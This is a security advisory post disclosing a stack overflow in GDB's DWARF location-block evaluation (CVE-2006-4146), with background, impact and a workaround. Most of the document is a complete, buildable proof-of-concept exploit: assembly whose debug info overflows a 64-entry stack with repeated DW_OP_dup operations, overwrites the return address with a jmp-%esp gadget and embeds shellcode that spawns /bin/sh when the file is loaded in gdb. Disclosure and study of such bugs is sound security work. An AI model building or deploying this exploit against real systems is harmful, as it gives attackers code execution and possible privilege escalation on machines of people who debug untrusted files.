redpig.dataspill.org: Multiple vulnerabilities in GDB

»Multiple vulnerabilities have been discovered in the GNU debugger that allow for the execution of arbitrary code.

Background
GDB is the GNU Project Debugger. It is described on its project page as allowing "you to see what is going on `inside' another program while it executes -- or what another program was doing at the moment it crashed." DWARF is a information format standard used to represent debugging information for a specific binary. While the first version was originally used in ELF, ELF later moved to STABS. In more recent years, DWARF version 2.0 has been reintroduced into ELF binaries. More information can be found at freestandards.org.
Impact
A successful exploit would result in the execution of arbitrary code on the loading of a specially crafted executable. This a viable mechanism for an attacker to escape restricted environments by piggybacking exploit code on seeming harmless files often used for debugging. In the worst case, this could allow for privilege escalation.
Workaround
Do not use GDB on untrusted files that may have DWARF(2) debugging information, e.g. binaries and core files. There is no way to verify if an untrusted file is safe to debug without investigating the debugging symbols manually.
Discussion
There are multiple exploitable vulnerabilities in the DWARF and DWARF2 code. Initially, Tavis Ormandy, a colleague of mine, discovered a crash condition in GDB related to DWARF2 debugging information. This discovery led to the further exploration of the condition, and the discovery of these issues. The DWARF specification allows location description blocks containing a list of operations to be used to determine the final real address for some debugging symbol. GDB evaluates these operations on an unchecked stack buffer of size 64. This allows for any location block (DW_FORM_block) with more than 64 operations to overwrite the current stack frame with arbitrary user-supplied data. This behavior occurs in both dwarfread.c and dwarfread2.c.
Patch
This has been patched in most major distributions already.
Exploit
A simple proof of concept exploit is attached for Ubuntu Breezy (6.3-5ubuntu1.1). This has been proven against multiple other prepackaged and custom builds of gdb up to version 6.5. noteThis exploit was embargoed for over a year and a half.
gdb-6.3-5ubuntu1.1:

       .file   "test.c"
       .section        .debug_abbrev,"",@progbits
.Ldebug_abbrev0:
       .section        .debug_info,"",@progbits
.Ldebug_info0:
       .section        .debug_line,"",@progbits
.Ldebug_line0:
       .text
.Ltext0:
.globl main
       .type   main, @function
main:
.LFB2:
       .file 1 "test.c"
       .loc 1 3 0
       pushl   %ebp
.LCFI0:
       movl    %esp, %ebp
.LCFI1:
       subl    $8, %esp
.LCFI2:
       andl    $-16, %esp
       movl    $0, %eax
       addl    $15, %eax
       addl    $15, %eax
       shrl    $4, %eax
       sall    $4, %eax
       subl    %eax, %esp
       .loc 1 3 0
       movl    $0, %eax
       leave
       ret
.LFE2:
       .size   main, .-main
       .local  some_int
       .comm   some_int,2,2
       .section        .debug_frame,"",@progbits
.Lframe0:
       .long   .LECIE0-.LSCIE0
.LSCIE0:
       .long   0xffffffff
       .byte   0x1
       .string ""
       .uleb128 0x1
       .sleb128 -4
       .byte   0x8
       .byte   0xc
       .uleb128 0x4
       .uleb128 0x4
       .byte   0x88
       .uleb128 0x1
       .align 4
.LECIE0:
.LSFDE0:
       .long   .LEFDE0-.LASFDE0
.LASFDE0:
       .long   .Lframe0
       .long   .LFB2
       .long   .LFE2-.LFB2
       .byte   0x4
       .long   .LCFI0-.LFB2
       .byte   0xe
       .uleb128 0x8
       .byte   0x85
       .uleb128 0x2
       .byte   0x4
       .long   .LCFI1-.LCFI0
       .byte   0xd
       .uleb128 0x5
       .align 4
.LEFDE0:
       .text
.Letext0:
       .section        .debug_info
       .long   0x13c /* total length of section  */
       .value  0x2
       .long   .Ldebug_abbrev0
       .byte   0x4
       .uleb128 0x1
       .long   .Ldebug_line0
       .long   .Letext0
       .long   .Ltext0
       .string "GNU C 4.0.3"
       .byte   0x1
       .string "test.c"
       .string "/tmp"
       .uleb128 0x2
       .byte   0x1
       .string "main"
       .byte   0x1
       .byte   0x3
       .long   0x6b
       .long   .LFB2
       .long   .LFE2
       .byte   0x1
       .byte   0x55
       .uleb128 0x3
       .string "int"
       .byte   0x4
       .byte   0x5
       .uleb128 0x4
       .string "some_int"
       .byte   0x1
       .byte   0x1
       .long   0x88
       .byte   0xaf    /* block length */
       .byte   0x0c    /* DW_OP_const4u */
       .long 0x01020304 /* put in a marker to dup */
       .rept 65
       .byte   0x12    /* DW_OP_dup: stacki++ */
       .endr
/* when built -O0, this is objfile. O2 let's us not worry */
       .byte   0x0c    /* DW_OP_const4u */
       .long 0x99999999 /* clear markers */
       .byte   0x0c    /* DW_OP_const4u */
       .long 0x88888888
       .byte 0x0c      /* DW_OP_const4u */
       .long 0x77777777
       .byte   0x0c    /* DW_OP_const4u */
       .long 0x666666
       .byte   0x0c    /* DW_OP_const4u: EIP */
 .long  0x8239eef /* objdump -D gdb | grep 'jmp[ ]*\*%esp' */
/* classic alephone shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x895e2aeb /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x46c60876 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x46c70007 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x0000000c /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x000bb800 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0xf3890000 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x8d084e8d /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x80cd0c56 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x000001b8 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x0000bb00 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x80cd0000 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0xffffd1e8 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x69622fff /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x68732f6e /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x5dec8900 /* shellcode */
       .byte 0x0c /* DW_OP_const4u */
       .long 0x000000c3 /* shellcode */
/* end shellcode */
       .uleb128 0x3
       .string "short int"
       .byte   0x2
       .byte   0x5
       .byte   0x0
       .section        .debug_abbrev
       .uleb128 0x1
       .uleb128 0x11
       .byte   0x1
       .uleb128 0x10
       .uleb128 0x6
       .uleb128 0x12
       .uleb128 0x1
       .uleb128 0x11
       .uleb128 0x1
       .uleb128 0x25
       .uleb128 0x8
       .uleb128 0x13
       .uleb128 0xb
       .uleb128 0x3
       .uleb128 0x8
       .uleb128 0x1b
       .uleb128 0x8
       .byte   0x0
       .byte   0x0
       .uleb128 0x2
       .uleb128 0x2e
       .byte   0x0
       .uleb128 0x3f
       .uleb128 0xc
       .uleb128 0x3
       .uleb128 0x8
       .uleb128 0x3a
       .uleb128 0xb
       .uleb128 0x3b
       .uleb128 0xb
       .uleb128 0x49
       .uleb128 0x13
       .uleb128 0x11
       .uleb128 0x1
       .uleb128 0x12
       .uleb128 0x1
       .uleb128 0x40
       .uleb128 0xa
       .byte   0x0
       .byte   0x0
       .uleb128 0x3
       .uleb128 0x24
       .byte   0x0
       .uleb128 0x3
       .uleb128 0x8
       .uleb128 0xb
       .uleb128 0xb
       .uleb128 0x3e
       .uleb128 0xb
       .byte   0x0
       .byte   0x0
/* some_int's definition */
       .uleb128 0x4   /* abbrev 4 */
       .uleb128 0x34  /* DW_TAG_variable */
       .byte   0x0      /* no children */
       .uleb128 0x3   /* DW_AT_name */
       .uleb128 0x8   /* DW_FORM_string */
       .uleb128 0x3a  /* DW_AT_decl_file */
       .uleb128 0xb   /* DW_FORM_data1 */
       .uleb128 0x3b  /* DW_AT_decl_line */
       .uleb128 0xb   /* DW_FORM_data2 */
       .uleb128 0x49  /* DW_AT_type */
       .uleb128 0x13  /* DW_FORM_ref4 */
       .uleb128 0x2   /* DW_AT_location */
       .uleb128 0xa   /* DW_FORM_block1 (max size of 255 - should be enough) */
       .byte   0x0
       .byte   0x0
       .byte   0x0
       .section        .debug_pubnames,"",@progbits
       .long   0x17
       .value  0x2
       .long   .Ldebug_info0
       .long   0x96
       .long   0x54
       .string "main"
       .long   0x0
       .section        .debug_aranges,"",@progbits
       .long   0x1c
       .value  0x2
       .long   .Ldebug_info0
       .byte   0x4
       .byte   0x0
       .value  0x0
       .value  0x0
       .long   .Ltext0
       .long   .Letext0-.Ltext0
       .long   0x0
       .long   0x0
       .ident  "GCC: (GNU) 4.0.3"
       .section        .note.GNU-stack,"",@progbits

Just build this with gcc and load into gdb.
References
  • CVE-2006-4146
Credit
This work was sponsored by my employer.

0 comments:
This page does not necessarily reflect the views of my employer or anyone I'm associated with.
redpig@dataspill.org